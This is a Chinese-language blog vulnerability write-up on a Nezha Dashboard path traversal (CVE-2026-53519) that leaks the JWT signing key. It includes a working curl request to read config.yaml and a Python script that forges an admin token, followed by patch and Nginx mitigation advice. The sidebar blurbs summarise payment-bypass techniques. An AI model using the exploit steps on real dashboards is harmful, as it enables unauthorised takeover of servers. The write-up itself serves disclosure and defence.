视频加载失败

哪吒监控路径穿越漏洞分析:一个 `/dashboard..` 拿下全站 JWT 密钥

1267 字
6 分钟
哪吒监控路径穿越漏洞分析:一个 `/dashboard..` 拿下全站 JWT 密钥
微信二维码

联系方式 & 交流群

  • 微信: gzs-47

进微信群请联系博主,各位觉得文章对你有帮助的话可否打赏一些呀~


一分钟速读:Nezha Dashboard 的路由前缀校验存在逻辑缺陷——对 /dashboard 的前缀判断没有做路径段边界检查,攻击者用 /dashboard../ 即可逃逸出模板根目录,直达 data/config.yaml 拿到 JWT 签名密钥。手里有了密钥,伪造任意用户 Token、接管整个面板的控制权就不在话下了。


漏洞概览#

项目详情
CVE 编号CVE-2026-53519
CVSS 评分9.1(Critical)
CVSS 向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
影响组件Nezha Dashboard
影响版本< v2.0.13
漏洞类型未授权路径穿越(Unauthenticated Path Traversal)
披露时间2026-05-31

一句话总结:不需要登录,不需要任何前置条件,一个 GET 请求就能把整个面板的 JWT 密钥读出来。


漏洞原理#

问题出在哪#

Nezha Dashboard 在处理静态资源时,为了隔离不同模板目录,在路由层做了一个前缀校验——检查请求路径是否以 /dashboard 开头。只允许通过前缀检查的请求进入模板渲染的逻辑。

逻辑本身没问题,但实现上踩了一个经典坑:前缀比对没有做路径段边界检查

Go 的 strings.HasPrefix 只判断字符前缀,不关心你后面跟的是 /..、还是别的什么。于是攻击者构造出这样的路径:

/dashboard../data/config.yaml

拆开看:

  • /dashboard —— 通过了前缀检查,“合法”
  • ../ —— 往上跳一层,跳出模板目录
  • data/config.yaml —— 命中 Dashboard 的工作目录,拿到配置文件

每一步都不违反代码的字面逻辑,但组合起来就把目录限制彻底穿透了。

用伪代码理解这个缺陷:

// 原始逻辑(有漏洞)
if strings.HasPrefix(r.URL.Path, "/dashboard") {
// 渲染模板文件...
tmpl.Execute(w, filepath.Join(tmplRoot, r.URL.Path))
}
// 实际解析:
// r.URL.Path = "/dashboard../data/config.yaml"
// HasPrefix 返回 true ← 漏洞点
// filepath.Join(tmplRoot, "/dashboard../data/config.yaml")
// → tmplRoot + "../data/config.yaml"
// → 逃逸成功

filepath.Join 会对 .. 做规范化处理,于是路径就从模板目录往上跳了一级,进入了 Dashboard 的工作目录——配置文件、数据库、日志,全在射程范围内。

为什么说这个洞”严重”#

大部分路径穿越漏洞能读文件,但读出来的是 HTML、JS、CSS 或者没什么用的系统文件。这个洞读的是 config.yaml,里面躺着什么?

jwt_secret_key: "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"

JWT 签名密钥是整个认证体系的命根子。有了它,攻击者可以:

  1. 伪造任意用户 Token——用泄露的密钥签名一个管理员身份的 JWT,面板直接认你为 admin
  2. 劫持所有 Agent 通信——Agent 与 Dashboard 之间的 gRPC 通信如果也用这套 JWT 做鉴权,伪造 Token 就能下发任意指令
  3. 持久化控制——密钥轮换需要重启服务且所有 Agent 重连,运维窗口期往往长达数天,这给了攻击者充裕的时间

CVSS 9.1 的评分拆解开来看:

  • AV(网络可达)—— HTTP 端口默认暴露
  • AC(复杂度低)—— 一个 GET 请求即可
  • PR(无需认证)—— 匿名访问
  • UI(无需用户交互)—— 纯自动化
  • C / I(机密性高 / 完整性高)—— 拿到密钥等于拿到一切

复现步骤#

假设靶标环境 Nezha Dashboard 监听在 http://target:8008

Terminal window
# 第一步:未授权读取配置文件
curl -s http://target:8008/dashboard../data/config.yaml
# 正常响应会返回完整的 YAML 配置,其中包含:
# jwt_secret_key: "xxxxxx..."

拿到密钥后,用 Python 快速伪造一个管理员 JWT:

import jwt
import time
secret = "泄露的密钥"
payload = {
"user_id": 1, # admin 通常是 uid=1
"username": "admin",
"role": "admin",
"iat": int(time.time()),
"exp": int(time.time()) + 86400 * 7 # 7 天有效期
}
token = jwt.encode(payload, secret, algorithm="HS256")
print(token)

将伪造的 Token 填入浏览器 Cookie 或 Authorization Header,刷新面板页面——你已经是管理员了。


修复方案#

升级#

直接升级到 Nezha v2.0.13 或更高版本。官方补丁将前缀检查改为了段感知(segment-aware)的路径校验——不再是简单的字符串前缀匹配,而是确保路径被正确规范化后不会逃逸出模板根目录。

临时缓解#

如果暂时无法升级,推荐在反向代理层做路径规范化防护。以 Nginx 为例:

location /dashboard {
# 规范化 URI,折叠 ../ 等目录回溯符
set $safe_uri $uri;
if ($uri ~ \.\./) {
return 403;
}
proxy_pass http://nezha_dashboard;
}

但由于 Go 的 filepath.Join 在服务端也会做规范化,仅靠反向代理层的黑名单拦截存在绕过风险,升级才是正道


写在最后#

这个洞的技术原理并不复杂——就是一个路径段边界检查缺失。但它打到的是整个认证体系的密钥源头,所以危害直接拉满。

做安全攻防的时候,有时候不需要绕过 WAF、不需要 0day 链——一个边界条件的疏忽,就能让整个系统的安全假设全部崩塌

CVSS 9.1,名副其实。

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

相关文章智能推荐
1
CVE-2026-33032:Nginx UI MCP 未授权访问漏洞详解 (CVSS 9.8)
漏洞分析CVE-2026-33032 是 Nginx UI 的严重未授权访问漏洞,CVSS 评分 9.8。攻击者可通过/mcp_message 端点无需认证调用所有 MCP 工具,实现 Nginx 服务完全接管。本文详解漏洞原理、复现步骤和临时缓解方案。
2
Cloudflare 计费逻辑缺陷:请求重放如何绕过订阅支付
Security深度分析 Cloudflare 订阅结算链路中的竞态条件漏洞:权限发放与支付确认的时序错位,以及分布式系统状态一致性的工程教训。
3
虚拟发卡系统回调伪造漏洞全链路拆解 — 从备份文件泄露到批量盗取卡密
漏洞分析深度分析一起针对 ACG-Faka + BEpusdt 的真实攻击事件:攻击者通过两条路径窃取支付密钥——下载 Web 根目录残留的备份文件,或利用 Nginx 配置错误直读 Config.php 源码——进而伪造合法回调通知批量盗取卡密。附官方安全公告、五站实测审计结果与完整防御方案。
4
提链 — ChatGPT 跨区支付链接提取的完整技术拆解
漏洞分析完整拆解 ChatGPT 提链技术:从 Session Token 出发,通过 12 步协议流程构造 Stripe Checkout Session,最终提取 iDEAL/UPI/PIX/Kakao Pay 等本地支付链接。附带八种支付方式的技术对比和完整代码分析。
5
0 PHP 白嫖 ChatGPT Plus — 跨区定价混淆攻击的完整技术拆解
漏洞分析深度拆解最近在群里疯传的 ChatGPT Plus 0 PHP 开通方法:日区注册 → 美区提 Token → 第三方工具生成 Checkout → 菲律宾 BIN 完成支付。跨区信号碎片化制造歧义,第三方工具利用异常路径注入零元参数。三种假说的完整技术分析。
随机文章随机推荐
Profile Image of the Author
47工作室
47工作室:记录技术实践与安全研究。
公告
欢迎来到 47工作室!微信:gzs-47
分类
标签
最新动态
站点统计
文章
39
分类
16
标签
165
总字数
121,285
运行时长
0
最后活动
0 天前
站点信息
构建平台
Local
博客版本
站点 vunknown
文章许可
CC BY-NC-SA 4.0